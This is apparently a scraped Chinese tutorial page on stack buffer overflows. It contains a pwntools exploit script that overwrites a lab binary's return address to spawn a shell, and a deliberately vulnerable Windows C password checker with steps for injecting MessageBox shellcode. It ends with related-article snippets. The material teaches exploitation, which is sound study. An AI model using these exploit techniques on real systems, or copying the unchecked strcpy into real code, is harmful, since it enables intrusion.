    10:00400xffffbc20 ◂— 0x1
    11:00440xffffbc24 —▸ 0xffffbcb4 —▸ 0xffffbe74 ◂— '/home/darkfox/Desktop/code_project/c/stack'
    12:00480xffffbc28 —▸ 0xffffbcbc —▸ 0xffffbe9f ◂— 'SHELL=/bin/bash'
    13:004c│      0xffffbc2c —▸ 0xffffbc44 ◂— 0x0
    
    

    用python编写漏洞利用脚本

    #!/usr/bin/python3		#指明脚本解释程序
    
    # 导入pwntools工具
    from pwn import *
    
    # 运行stack程序
    io = process('./stack')
    
    # shell函数返回地址
    shell = 0x8049172
    
    # 构造payload,先填充0x1c字节的垃圾数据,再覆盖返回地址
    # pack()将整型数值打包成32位字节码,也可用 p32(shell) 代替
    payload = b'a' * 0x1c + pack(shell,32)
    
    #如果是python2, payload构造方式如下
    #payload = 'a' * 0x1c + p32(shell)
    
    # 向程序发送数据
    io.sendline(payload)
    
    #交互模式
    io.interactive()
    

    运行脚本后获得系统控制权限,执行ls命令,果然可以查看当前目录的文件

    darkfox@darkfox-PC:~/Desktop/code_project/c$ python3 io.py 
    [+] Starting local process './stack': pid 15404
    [*] Switching to interactive mode
    $ ls
    how2heap  io.py  main.c  stack
    $  
    

    那真对这种简单的栈溢出, 有什么防止的办法呢? 请查阅栈保护措施 canary机制、栈不可执行(NX)、地址随机化(PIE、ASLR)机制。

    展开全文
  • Windows栈溢出原理

    2019-03-28 18:13:00
    1.是什么? 是一种运算受限的线性表 其限制是仅允许在表的一端进行插入和删除运算 这一端称为栈顶(TOP),相对的另一端称为底(BASE) 向一个插入新元素,称作进栈、入栈或压栈(PUSH) 它是把新元素放到...

    1.栈是什么?

    栈是一种运算受限的线性表

    其限制是仅允许在表的一端进行插入和删除运算

    这一端称为栈顶(TOP),相对的另一端称为栈底(BASE)

    向一个栈插入新元素,称作进栈、入栈或压栈(PUSH)

    它是把新元素放到栈顶元素的上边,使之成为新的栈顶元素;

    从一个栈删除元素,又称出栈或退栈(POP)

    它是把栈顶元素删除掉,使其相邻的元素成为新的栈顶元素

    进程使用的内存可以分成4个部分

    代码区:存储二进制机器码,存储器在这里取指令

    数据区:用于存储全局变量

    堆区:动态分配和全局变量

    栈区:动态存储函数间的调用关系,保证被调用函数返回时恢复到母函数中继续运行

    寄存器与函数栈帧

    ESP:栈顶指针寄存器,永远指向系统栈顶

    EBP:基址指针寄存器,永远指向系统栈最上边一个栈的栈底

    ESP和EBP之间的内存空间为当前栈帧

    2.栈的溢出

    栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小

    因此当这个数据足够大的时候,将会溢出缓冲区的范围

     

    3.如何利用

    通过程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,

    从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的

    造成缓冲区溢出的原因是 程序中没有仔细检查用户输入的参数

    覆盖邻接变量

    例如buffer大小是8字节

    输入8个字符,加上字符串截断字符NULL字符,即可覆盖相邻变量,改变程序运行流程

    修改函数返回地址

    上述覆盖相邻变量的方法虽然很管用,但是漏洞利用对代码环境很苛刻

    更通用的攻击缓冲区的方法是,瞄准栈帧最下方EBP和函数返回地址等栈帧的状态值

    如果继续增加输入字符,超出buffer[8]字符边界

    将依次淹没 相邻变量、前栈帧EBP、返回地址

    4.实例

    1)创建一个password.txt文件,内容为1234

    2)C语言实例代码

    #include <stdio.h>
    #include <windows.h>
    #define PASSWORD "1234567"
    int verify_password (char *password) //密码验证函数
    {
       int authenticated;
       char buffer[44];//缓冲区大小
       authenticated=strcmp(password,PASSWORD);
       strcpy(buffer,password);//over flowed here!    
       return authenticated;
    }
    main()
    {
    int valid_flag=0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll"); //准备¸messagebox
    if(!(fp=fopen("password.txt","rw+")))
    {
    exit(0);
    }
    fscanf(fp,"%s",password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
    printf("incorrect password!\n");
    }
    else
    {
    printf("Good password is OK,You Win!\n");
    }
    system("pause");
    fclose(fp);
    }

    代码环境

    操作系统Widows XP SP2
    编译器 Visual C++ 6.0
    编译选项 默认编译选项
    build版本 debug版本

    运行测试一下,更改密码文件对比结果

    根据函数栈溢出原理,实现栈溢出需要以下过程

    (1) 分析并调试程序,获得淹没返回地址的偏移

    (2) 获得buffer的起始地址,根据获得的偏移将其覆盖返回地址,使得函数返回时执行buffer起始地址保存的代码

    (3) 提取弹框操作的机器码并保存于buffer的起始地址处,在函数返回时得到执行

    为什么会覆盖?

    如果在password.txt中写入恰好44个字符,那么第45个隐藏的截断符 null 将冲刷

    变量authenticated低字节中的 1,从而突破密码验证的限制

    出于字节对齐、容易辨认的目的,我们把"4321"作为一个输入单元

    buffer[44]共需要11个这样的单元

    第12个输入单元将authenticated覆盖;

    第13个单元将前栈帧EBP的值覆盖;

    第14个单元将返回地址覆盖;

    调试栈的布局

    通过动态调试,可以得到以下信息

    (1) buffer数组的起始地址为:0x0012FAF0

    (2) password.txt 文件中第53~56个字符的ASCII码值,将写入栈帧中的返回地址,成为函数返回后执行的指令地址

    也就是说,在buffer的起始地址写入password.txt文件中的第53~56个字节

    在 verify_password 函数返回时,会跳到我们输入的字符串开始取指执行

    (3) 给password.txt中植入机器码,弹出消息框

    MessageBoxA是动态链接库user32.dll的导出函数,本实验中未默认加载

    在汇编语言中调用这个函数需要获得这个函数的入口地址。

    获取弹窗函数入口参数信息

    MessageBoxA的入口参数可以通过user32.dll 在系统中加载的基址和MessageBoxA在库中的偏移得到。

    用VC6.0自带的小工具"Dependency Walker"可以获得这些信息(可在Tools目录下找到)

    随便把一个有GUI界面的程序扔进去,结果如图所示

    user32.dll的基址为:0x77D10000

    MessageBoxA 的偏移地址为:0x000407EA

    基址+偏移地址=MessageBoxA内存中的入口地址:0x77D507EA

    我们要弹窗的字符设成"wintry",用python转换成16进制的ASCII

    然后借助OD写汇编代码,获得机器码

    将上边的机器码,以十六进制形式逐字写入到 password.txt

    第53~56字节填入buffer的起址:0x0012FAF0 ,其余字节用 90(nop) 填充

    上边的机器码可能是字符没对齐的原因,会弹出内存读取错误,把字符串改为"wintry00"

    成功弹出窗口

     

     

    转载于:https://www.cnblogs.com/wintrysec/p/10616793.html

    展开全文
  • 栈溢出原理和利用学习

    千次阅读 多人点赞 2018-09-05 20:19:25
    做PWN题经常遇到栈溢出,有时一些栈的基础知识总是记不清楚,脑子卡顿,所以整理一番,让自己彻底记住它! 1. 什么是栈? 栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据...
  • 缓冲区溢出(buffer overflow),在电脑学上是指针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权...
  • 栈溢出原理与实现

    2019-10-23 09:33:14
    结构: 1.方向:高地址(底)->低地址(栈顶) 2.加载完成pe后,系统会为这个pe分配一个,这个用于 实现(类似C)高级语言中函数的调用。 3.(2)所说的分配的是系统自动维护,并且push pop等平衡细节都是...
  • 栈溢出原理与 shellcode 开发

    万次阅读 2018-03-20 19:06:44
    ESP:该指针永远指向系统最上面一个栈帧的栈顶&nbsp;EBP:该指针永远指向系统最上面一个栈帧的底部01 &nbsp;修改函数返回地址#include&lt;stdio.h&gt;#include&lt;string.h&gt;#define ...
  • 在前面的系列中,已经提到了方法调用关系中栈空间是如何布局的,而造成栈溢出的主要原因是有些函数没有越界检查,最后导致了栈的溢出,也就是栈的空间被人为的重新布局。大家重新在看这张栈的图 方法A调用方法B, ...
  • 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。 两个并行条件:程序必须向被操作栈写入数据&写入数据没有被程序良好的控制! 最...
  • 栈溢出学习 地址CTF-WIKI 2.完成栈溢出题目 要求:解题步骤写在博客 解题准备: 按题设要求,查看CTF-Wiki相关内容,云里雾里,没有基础知识,看了好久都看不懂: 基本栈介绍: 栈是一种典型的先进后出( First in ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 727
精华内容 290
关键字:

栈溢出原理